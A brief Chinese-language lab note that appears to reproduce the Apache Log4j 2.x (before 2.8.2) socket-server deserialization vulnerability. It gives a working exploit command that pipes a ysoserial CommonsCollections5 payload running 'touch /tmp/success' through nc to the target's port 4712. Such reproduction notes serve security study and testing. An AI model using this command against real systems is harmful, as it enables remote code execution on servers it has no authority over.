影响范围 Apache Log4j 2.8.2之前的2.x版本 漏洞复现 使用ysoserial生成payload,然后直接发送给your-ip:4712端口即可 java -jar ysoserial.jar CommonsCollections5 "touch /tmp/success" | nc your-ip 4712 返回容器查看